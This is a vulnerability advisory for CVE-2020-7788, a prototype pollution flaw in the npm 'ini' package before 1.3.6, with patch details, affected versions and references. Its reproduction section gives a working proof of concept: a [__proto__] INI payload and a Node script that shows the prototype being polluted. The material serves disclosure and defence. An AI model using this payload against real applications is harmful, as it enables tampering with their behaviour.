CVE-2020-7788
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
Impact
### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | ini | < 1.3.6 | 1.3.6 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Ini Project | Ini | before 1.3.6 |
| Debian | Debian Linux | Version 9.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1
- https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html
- https://snyk.io/vuln/SNYK-JS-INI-1048974
- https://github.com/advisories/GHSA-qqgx-2p2h-9c37
- https://www.npmjs.com/advisories/1589
- https://nvd.nist.gov/vuln/detail/CVE-2020-7788